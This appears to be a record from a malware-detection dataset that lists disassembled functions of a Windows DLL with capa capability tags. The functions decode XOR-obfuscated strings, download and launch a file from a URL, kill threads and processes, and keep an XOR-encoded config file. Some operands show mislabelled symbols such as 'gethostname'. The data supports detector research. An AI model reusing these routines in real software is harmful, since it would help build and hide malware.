joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800031d4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x130]
sub rsp, 0x230
mov rdi, rcx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 0x3a0a3a41
xorps xmm1, xmm1
mov dword [rsp + 0x34], 0x3a023a5c
xor edx, edx
mov dword [rsp + 0x38], 0x3a093a0d
mov r8d, 0x9a
mov dword [rsp + 0x3c], 0x3a033a0c
lea rcx, [rbp - 0x10]
mov dword [rsp + 0x40], 0x3a173a5c
movups xmmword [rbp - 0x20], xmm0
mov dword [rsp + 0x44], 0x3a0e3a5b
movups xmmword [rbp - 0x30], xmm1
mov dword [rsp + 0x48], 0x3a0f3a5f
mov dword [rsp + 0x4c], 0x3a0e3a17
mov dword [rsp + 0x50], 0x3a5c3a59
mov dword [rsp + 0x54], 0x3a173a59
mov dword [rsp + 0x58], 0x3a5e3a58
mov dword [rsp + 0x5c], 0x3a5f3a09
mov dword [rsp + 0x60], 0x3a0d3a17
mov dword [rsp + 0x64], 0x3a5f3a09
mov dword [rsp + 0x68], 0x3a0b3a0c
mov dword [rsp + 0x6c], 0x3a0e3a0f
mov dword [rsp + 0x70], 0x3a0d3a0f
mov dword [rsp + 0x74], 0x3a5e3a08
mov dword [rsp + 0x78], 0x3a473a5e
mov byte [rsp + 0x7c], 0x3a
call sub.ntdll.dll_memset
mov ebx, 0x4d
lea r8, [rbp - 0x10]
mov edx, ebx
lea rcx, [rsp + 0x30]
call fcn.180002ccc
xor edx, edx
mov dword [rbp - 0x80], 0x3a083a41
lea r8d, [rbx + 0x4d]
mov dword [rbp - 0x7c], 0x3a5b3a5c
lea rcx, [rbp + 0x90]
mov dword [rbp - 0x78], 0x3a5b3a58
mov dword [rbp - 0x74], 0x3a593a0e
mov dword [rbp - 0x70], 0x3a173a0d
mov dword [rbp - 0x6c], 0x3a5e3a0e
mov dword [rbp - 0x68], 0x3a033a5b
mov dword [rbp - 0x64], 0x3a0e3a17
mov dword [rbp - 0x60], 0x3a0b3a0a
mov dword [rbp - 0x5c], 0x3a173a09
mov dword [rbp - 0x58], 0x3a0c3a03
mov dword [rbp - 0x54], 0x3a0d3a03
mov dword [rbp - 0x50], 0x3a083a17
mov dword [rbp - 0x4c], 0x3a593a0a
mov dword [rbp - 0x48], 0x3a093a59
mov dword [rbp - 0x44], 0x3a5e3a5c
mov dword [rbp - 0x40], 0x3a0a3a0e
mov dword [rbp - 0x3c], 0x3a023a5c
mov dword [rbp - 0x38], 0x3a473a0f
mov byte [rbp - 0x34], 0x3a
call sub.ntdll.dll_memset
lea r8, [rbp + 0x90]
mov edx, ebx
lea rcx, [rbp - 0x80]
call fcn.180002ccc
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x10]
call qword [sym.imp.ole32.dll_CLSIDFromString]
xor ebx, ebx
test eax, eax
js 0x1800033c0
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x90]
call qword [sym.imp.ole32.dll_IIDFromString]
test eax, eax
js 0x1800033c0
lea r9, [rbp - 0x30]
mov qword [rsp + 0x20], rdi
xor edx, edx
lea r8d, [rbx + 1]
lea rcx, [rbp - 0x20]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
cmovs ebx, eax
mov eax, ebx
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x1800033d8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rdi, rdx
mov dword [rsp + 0x30], 0x3a663a66
xor edx, edx
mov dword [rsp + 0x34], 0x3a533a77
mov rbx, rcx
mov dword [rsp + 0x38], 0x3a483a59
lea rcx, [rbp]
mov dword [rsp + 0x3c], 0x3a493a55
mov dword [rsp + 0x40], 0x3a5c3a55
lea r8d, [rdx + 0x52]
mov dword [rsp + 0x44], 0x3a663a4e
mov dword [rsp + 0x48], 0x3a6d3a66
mov dword [rsp + 0x4c], 0x3a543a53
mov dword [rsp + 0x50], 0x3a553a5e
mov dword [rsp + 0x54], 0x3a493a4d
mov byte [rsp + 0x58], 0x3a
call sub.ntdll.dll_memset
lea r8, [rbp]
mov edx, 0x29
lea rcx, [rsp + 0x30]
call fcn.180002ccc
xorps xmm0, xmm0
lea rcx, [rsp + 0x60]
xor eax, eax
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
call qword [sym.imp.OLEAUT32.dll_VariantClear]
movups xmm1, xmmword [rsp + 0x60]
lea rcx, [rbp - 0x80]
mov rax, qword [rbx]
movsd xmm0, qword [rsp + 0x70]
lea r9, [rbp - 0x60]
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x40]
mov rcx, rbx
movaps xmmword [rbp - 0x80], xmm1
lea rdx, [rbp - 0x20]
movaps xmmword [rbp - 0x60], xmm1
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x20], xmm1
movsd qword [rbp - 0x70], xmm0
movsd qword [rbp - 0x50], xmm0
movsd qword [rbp - 0x30], xmm0
movsd qword [rbp - 0x10], xmm0
call qword [rax + 0x50]
test eax, eax
jns 0x1800034df
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x180003502
lea rcx, str.MicrosoftWindows
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov r9, qword [rbx]
mov r8, rdi
mov rdx, rax
mov rcx, rbx
call qword [r9 + gethostname]
test eax, eax
js 0x1800034d7
xor eax, eax
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x1800039e0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov r13, rcx
mov rdi, r9
mov rcx, r9
mov rbp, r8
mov rsi, rdx
call qword [r9 + 0x30]
mov r14d, gethostname
jmp 0x180003bcf
mov rcx, rdi
call qword [rdi + 0x30]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call qword [rdi + gethostname]
mov rcx, rax
mov edx, ebx
call qword [r13 + 0x20]
mov ebx, eax
cmp eax, 0xffffffff
je 0x180003c06
mov rcx, rdi
call qword [rdi + 0x30]
cmp eax, ebx
jb 0x180003bd8
mov rcx, rdi
call qword [rdi + 0x30]
cmp eax, ebx
jb 0x180003bc9
test rsi, rsi
je 0x180003bc9
mov r8, r14
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ntdll.dll_memset]
mov rcx, rdi
call qword [rdi + 0x30]
cmp eax, r14d
jb 0x180003bc9
mov r8d, r14d
mov rdx, rsi
mov rcx, rdi
call qword [rdi + 0x20]
mov rax, rsi
mov rcx, r14
xor byte [rax], 0x3a
inc rax
sub rcx, 1
jne 0x180003a92
mov eax, dword [rsi + 0x28]
mov ebx, dword [rsi + 0x2c]
mov dword [rsp + 0x50], eax
test eax, eax
je 0x180003bb8
mov rcx, rdi
call qword [rdi + 0x30]
test ebx, ebx
je 0x180003b8d
cmp eax, ebx
jb 0x180003bd8
mov r15d, dword [rsp + 0x50]
xor ecx, ecx
mov edx, r15d
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rax, rax
je 0x180003bf7
xor ecx, ecx
mov edx, ebx
mov r8d, 0x1000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r12, rax
test rax, rax
je 0x180003bf7
mov r8d, ebx
mov rdx, rax
mov rcx, rdi
call qword [rdi + 0x20]
mov r9d, ebx
lea rdx, [rsp + 0x50]
mov r8, r12
mov rcx, r14
call fcn.18001ec94
mov ebx, 0x8000
xor edx, edx
mov r8d, ebx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test rbp, rbp
je 0x180003b77
test r15d, r15d
jle 0x180003b5a
mov rax, r14
mov ecx, r15d
xor byte [rax], 0x3a
inc rax
sub rcx, 1
jne 0x180003b4e
mov r8d, r15d
mov rdx, r14
mov rcx, rbp
call qword [rbp + 0x28]
mov rcx, qword [r13 + 0xa8]
mov r8, rbp
mov rdx, rsi
call qword [r13 + 0x50]
mov r8d, ebx
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r14d, gethostname
jmp 0x180003bc9
cmp eax, dword [rsp + 0x50]
jb 0x180003bd8
test rbp, rbp
je 0x180003bc9
xor edx, edx
mov rcx, rdi
call qword [rdi + gethostname]
mov r8d, dword [rsp + 0x50]
mov rcx, rbp
mov rdx, rax
call qword [rbp + 0x28]
mov edx, dword [rsp + 0x50]
mov rcx, rdi
call qword [rdi + 0x40]
mov rcx, qword [r13 + 0xa8]
mov r8, rbp
mov rdx, rsi
call qword [r13 + 0x50]
mov rcx, rdi
call qword [rdi + 0x30]
cmp eax, r14d
jae 0x180003a1a
xor eax, eax
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor edx, edx
mov rcx, rsi
lea r8d, [rdx + 0x38]
call qword [sym.imp.ntdll.dll_memset]
or eax, 0xffffffff
jmp 0x180003bda
Function at 0x1800047fc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rdi, rcx
mov dword [rbp - 0x30], 0x13121110
xor ecx, ecx
mov dword [rbp - 0x2c], 0x17161514
mov dword [rbp - 0x28], 0x1b1a1918
mov dword [rbp - 0x24], 0x1f1e1d1c
mov dword [rbp - 0x20], 0x23222120
mov dword [rbp - 0x1c], 0x27262524
mov dword [rbp - 0x18], 0x2b2a2928
mov dword [rbp - 0x14], 0x2f2e2d2c
mov dword [rbp - 0x10], 0x33323130
mov dword [rbp - 0xc], 0x37363534
mov dword [rbp - 8], 0x3b3a3938
mov dword [rbp - 4], 0x3f3e3d3c
call qword [sym.imp.msvcrt.dll__time64]
mov ecx, eax
call qword [sym.imp.msvcrt.dll_srand]
xor ebx, ebx
call qword [sym.imp.msvcrt.dll_rand]
movsxd rcx, eax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 5
lea rax, [rdx + rdx*2]
shl rax, 4
sub rcx, rax
movsxd rax, ecx
mov cl, byte [rbp + rax - 0x30]
mov byte [rdi + rbx], cl
inc rbx
cmp rbx, 0x14
jb 0x180004877
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret
Function at 0x180004f84
Capabilities:
Terminate process
Terminate thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x170]
sub rsp, 0x270
mov rdi, qword [rcx + 0x48]
lea rdx, [rsp + 0x20]
xor eax, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
and dword [rsp + 0x48], eax
mov rcx, rdi
mov qword [rsp + 0x50], rax
and dword [rsp + 0x50], eax
lea r8d, [rax + 0x38]
movups xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x54], 0x2072024
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x44], 5
call qword [rdi + 0x30]
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x208
call sub.ntdll.dll_memset
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
lea rdx, [rsp + 0x60]
call fcn.1800155d8
mov rax, qword [0x1800649c8]
mov dword [0x1800649fc], 1
mov rbx, qword [rax]
jmp 0x180005032
cmp qword [rbx], 0
je 0x18000502e
mov rcx, qword [rbx + 8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x18000501c
mov rax, qword [0x180064a28]
mov rbx, qword [rax]
jmp 0x180005059
cmp qword [rbx], 0
je 0x180005055
mov rcx, qword [rbx + 8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x180005043
lea rdx, str.Inject_Test
lea rcx, [0x180064988]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x180005090
mov rcx, rdi
call qword [rdi + 0x18]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]
lea rbx, [0x180063f30]
mov rcx, rbx
call fcn.18001623c
mov rcx, rbx
call fcn.180016078
mov rcx, rbx
call fcn.180015fec
and qword [rbp + 0x180], 0
lea rcx, [rbp + 0x180]
and qword [rbp + 0x188], 0
call fcn.1800031d4
mov rcx, qword [rbp + 0x180]
test rcx, rcx
je 0x18000510c
lea rdx, [rbp + 0x188]
call fcn.1800033d8
mov rbx, qword [rbp + 0x188]
test rbx, rbx
je 0x18000510c
lea rcx, [0x1800645a0]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov r9, qword [rbx]
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
call qword [r9 + 0x78]
mov rcx, rdi
call qword [rdi + 0x18]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x7b
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea r11, [rsp + 0x270]
xor eax, eax
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x1800056dc
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0xf70]
mov eax, 0x1070
call sub.ntdll.dll___chkstk
sub rsp, rax
mov rbx, rcx
xor edx, edx
lea rcx, [rbp + 0x770]
mov r8d, 0x800
call sub.ntdll.dll_memset
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x800
call sub.ntdll.dll_memset
and dword [rbp + 0xf88], 0
lea rdx, [rsp + 0x30]
and dword [rbp + 0xf80], 0
xorps xmm0, xmm0
xor eax, eax
mov rcx, rbx
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x40], xmm0
lea r8d, [rax + 0x38]
movups xmmword [rsp + 0x50], xmm0
call qword [rbx + 0x20]
mov r8d, 4
lea rdx, [rbp + 0xf88]
mov rcx, rbx
call qword [rbx + 0x20]
mov r8d, 4
lea rdx, [rbp + 0xf80]
mov rcx, rbx
call qword [rbx + 0x20]
mov r8d, dword [rbp + 0xf80]
test r8d, r8d
je 0x18000581d
lea rdx, [rbp + 0x770]
mov rcx, rbx
call qword [rbx + 0x20]
lea rdx, [rsp + 0x70]
call fcn.180014afc
lea rdx, [0x18005b428]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov edx, 0x2f
lea rcx, [rbp + 0x770]
call qword [sym.imp.ntdll.dll_wcsrchr]
mov rdx, rax
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
and qword [rsp + 0x20], 0
lea r8, [rsp + 0x70]
xor r9d, r9d
lea rdx, [rbp + 0x770]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x18000581d
mov eax, dword [rbp + 0xf88]
lea r8, [rsp + 0x70]
mov dword [rsp + 0x28], eax
lea rdx, str.open
and qword [rsp + 0x20], 0
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rbx, qword [rsp + 0x1090]
xor eax, eax
add rsp, 0x1070
pop rbp
ret
Function at 0x180005b8c
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x70
xorps xmm0, xmm0
xor eax, eax
xor esi, esi
mov qword [rbp - 0x10], rax
movups xmmword [rbp - 0x40], xmm0
mov dword [rbp + 0x20], esi
mov rbx, rcx
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
call fcn.180003854
mov rcx, rax
mov rdi, rax
call fcn.1800058e8
mov rcx, rbx
call qword [rbx + 0x30]
cmp eax, 0x38
jb 0x180005cc6
lea r8d, [rsi + 0x38]
mov rcx, rbx
lea rdx, [rbp - 0x40]
call qword [rbx + 0x20]
mov rcx, rbx
call qword [rbx + 0x30]
test eax, eax
jne 0x180005c5a
mov dword [rbp + 0x28], esi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
lea rdx, [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
cmp dword [rbp + 0x28], esi
jne 0x180005c3b
lea rcx, str.explorer.exe
call fcn.180015684
test eax, eax
je 0x180005c27
lea rdx, [rbp + 0x20]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
jmp 0x180005c75
cmp qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId], rsi
je 0x180005c75
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov dword [rbp + 0x20], eax
jmp 0x180005c75
mov qword [rsp + 0x28], rsi
lea r8, [0x18000efa0]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x180005cc6
mov rcx, rbx
call qword [rbx + 0x30]
mov r8d, 4
cmp eax, r8d
jne 0x180005cc6
lea rdx, [rbp + 0x20]
mov rcx, rbx
call qword [rbx + 0x20]
mov rcx, rdi
call qword [rdi + 0x30]
mov esi, 0xa88
cmp eax, esi
jne 0x180005cc6
mov dword [rbp - 0x18], esi
call fcn.180003854
mov r8d, gethostname
lea rdx, [rbp - 0x40]
mov rcx, rax
mov rbx, rax
call qword [rax + 0x28]
xor edx, edx
mov rcx, rdi
call qword [rdi + gethostname]
mov r8d, esi
mov rcx, rbx
mov rdx, rax
call qword [rbx + 0x28]
mov edx, dword [rbp + 0x20]
mov rcx, rbx
call fcn.1800058ac
mov rcx, rbx
call fcn.18000397c
mov rcx, rdi
call fcn.18000397c
mov rbx, qword [rsp + 0xa0]
xor eax, eax
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800065c8
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r15
lea rbp, [rsp - 0x190]
sub rsp, 0x290
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x70], rax
mov rbx, rcx
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
call qword [rcx + 0x30]
mov r8d, gethostname
cmp eax, r8d
jbe 0x180006807
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [rbx + 0x20]
mov rcx, rbx
call qword [rbx + 0x30]
mov r15d, 4
cmp eax, dword [rsp + 0x68]
jne 0x18000670a
xor edx, edx
mov rcx, rbx
call qword [rbx + gethostname]
movsxd rcx, dword [rsp + 0x68]
mov rdi, rax
test rcx, rcx
jle 0x18000664e
xor byte [rax], 0x3a
inc rax
sub rcx, 1
jne 0x180006642
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x208
call sub.ntdll.dll_memset
lea rdx, [0x180064794]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.cp.cfg
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
and qword [rsp + 0x30], 0
lea rcx, [rbp - 0x80]
and dword [rbp + 0x1d0], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov dword [rsp + 0x20], r15d
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
test rax, rax
je 0x1800066f4
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov r8d, dword [rsp + 0x68]
lea r9, [rbp + 0x1d0]
and qword [rsp + 0x20], 0
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd rax, dword [rsp + 0x68]
test rax, rax
jle 0x18000670a
xor byte [rdi], 0x3a
inc rdi
sub rax, 1
jne 0x1800066fe
and dword [rbp + 0x1c0], 0
mov rcx, rbx
and dword [rbp + 0x1c8], 0
call qword [rbx + 0x30]
cmp eax, r15d
jbe 0x1800067ff
mov r8d, r15d
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call qword [rbx + 0x20]
mov edx, dword [rbp + 0x1c0]
mov esi, 0x1000
mov r8d, esi
mov r9d, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x1800067ff
mov rcx, rbx
call qword [rbx + 0x30]
mov r8d, dword [rbp + 0x1c0]
cmp eax, r8d
jbe 0x1800067ff
mov rdx, rdi
mov rcx, rbx
call qword [rbx + 0x20]
mov rcx, rbx
call qword [rbx + 0x30]
cmp eax, r15d
jbe 0x1800067ff
mov r8d, r15d
lea rdx, [rbp + 0x1c8]
mov rcx, rbx
call qword [rbx + 0x20]
mov edx, dword [rbp + 0x1c8]
mov r9d, r15d
mov r8d, esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x1800067ff
mov rcx, rbx
call qword [rbx + 0x30]
mov r8d, dword [rbp + 0x1c8]
cmp eax, r8d
jb 0x1800067ff
mov rdx, rsi
mov rcx, rbx
call qword [rbx + 0x20]
mov rcx, qword [0x1800649b8]
test rcx, rcx
je 0x1800067ff
mov rdx, rdi
call fcn.180011458
mov r8, rsi
mov rdx, rdi
test rax, rax
je 0x1800067f3
call fcn.180011540
jmp 0x1800067ff
mov rcx, qword [0x1800649b8]
call fcn.1800113cc
mov rcx, rbx
call fcn.18000397c
xor eax, eax
add rsp, 0x290
pop r15
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x180006818
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x150]
sub rsp, 0x250
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x208
call sub.ntdll.dll_memset
lea rdx, [0x180064794]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.cp.cfg
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
and dword [rbp + 0x190], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180006a59
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r12d, 4
mov edx, eax
mov r8d, 0x1000
mov r14d, eax
mov r9d, r12d
mov ebx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x180006a4b
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x190]
mov r8d, r14d
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180006a45
test r14d, r14d
jle 0x180006917
mov rax, rdi
xor byte [rax], 0x3a
inc rax
sub rbx, 1
jne 0x18000690b
call fcn.180003854
mov r8d, r14d
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call qword [rax + 0x28]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x180006a1e
mov r8d, r12d
lea rdx, [rbp + 0x180]
mov rcx, rbx
call qword [rbx + 0x20]
mov edx, dword [rbp + 0x180]
mov r9d, r12d
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x180006a3b
mov rcx, rbx
call qword [rbx + 0x30]
mov r8d, dword [rbp + 0x180]
cmp eax, r8d
jbe 0x180006a3b
mov rdx, rdi
mov rcx, rbx
call qword [rbx + 0x20]
mov rcx, rbx
call qword [rbx + 0x30]
cmp eax, r12d
jbe 0x180006a3b
mov r8d, r12d
lea rdx, [rbp + 0x188]
mov rcx, rbx
call qword [rbx + 0x20]
mov edx, dword [rbp + 0x188]
mov r9d, r12d
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rax, rax
je 0x180006a3b
mov rcx, rbx
call qword [rbx + 0x30]
mov r8d, dword [rbp + 0x188]
cmp eax, r8d
jb 0x180006a3b
mov rdx, r14
mov rcx, rbx
call qword [rbx + 0x20]
mov rcx, qword [0x1800649b8]
test rcx, rcx
je 0x180006a1e
mov rdx, rdi
call fcn.180011458
mov r8, r14
mov rdx, rdi
test rax, rax
je 0x180006a12
call fcn.180011540
jmp 0x180006a1e
mov rcx, qword [0x1800649b8]
call fcn.1800113cc
and dword [rbp + 0x180], 0
mov rcx, rbx
and dword [rbp + 0x188], 0
call qword [rbx + 0x30]
cmp eax, r12d
ja 0x180006941
mov rcx, rbx
call fcn.18000397c
jmp 0x180006a4b
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x180006a59
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x298]
xor eax, eax
add rsp, 0x250
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180006a74
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x230
mov rbx, qword [0x1800649b8]
mov edx, gethostname
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x180006ad5
test rbx, rbx
je 0x180006ad5
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
jmp 0x180006ac2
lea rdx, [rax - 1]
mov rcx, rbx
call fcn.18001164c
mov rdx, rax
mov rcx, rbx
call fcn.1800115bc
mov rax, qword [rbx + 8]
test rax, rax
jne 0x180006aab
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x208
call sub.ntdll.dll_memset
lea rdx, [0x180064794]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.cp.cfg
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rbx, qword [rsp + 0x240]
xor eax, eax
add rsp, 0x230
pop rdi
ret
Function at 0x180006b2c
Capabilities:
Encode data using xor
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0xc00]
sub rsp, 0xd00
mov rdi, rcx
call fcn.180003854
mov rcx, rdi
mov rsi, rax
call qword [rdi + 0x30]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call qword [rdi + gethostname]
mov r8d, ebx
mov rcx, rsi
mov rdx, rax
call qword [rsi + 0x28]
mov rcx, rdi
call fcn.18000397c
xorps xmm0, xmm0
lea rdx, [rsp + 0x30]
xor eax, eax
mov rcx, rsi
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x40], xmm0
lea r8d, [rax + 0x38]
movups xmmword [rsp + 0x50], xmm0
call qword [rsi + 0x20]
mov ebx, 0xa88
lea rcx, [rbp + 0x170]
mov r8d, ebx
xor edx, edx
call sub.ntdll.dll_memset
movzx eax, word [0x1800649f8]
lea rcx, [rbp + 0x170]
mov rdx, qword [0x180064a30]
mov word [rbp + 0x270], ax
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [0x1800649e8]
cmp eax, 1
jne 0x180006bea
lea rdx, [0x18005b3d8]
jmp 0x180006bfc
lea rdx, [0x18005b3d0]
test eax, eax
je 0x180006bfc
lea rdx, str.HTTP
lea rcx, [rbp + 0x272]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor edx, edx
mov rcx, rsi
call qword [rsi + gethostname]
mov rcx, rsi
mov rdi, rax
call qword [rsi + 0x30]
mov r15d, eax
xor ecx, ecx
xor byte [rbp + rcx + 0x170], 0x3a
inc rcx
cmp rcx, rbx
jl 0x180006c1f
lea rcx, [r15 - 0xa8c]
mov r8, rbx
add rcx, rdi
lea rdx, [rbp + 0x170]
call qword [sym.imp.ntdll.dll_memcpy]
and qword [rbp + 0xc38], 0
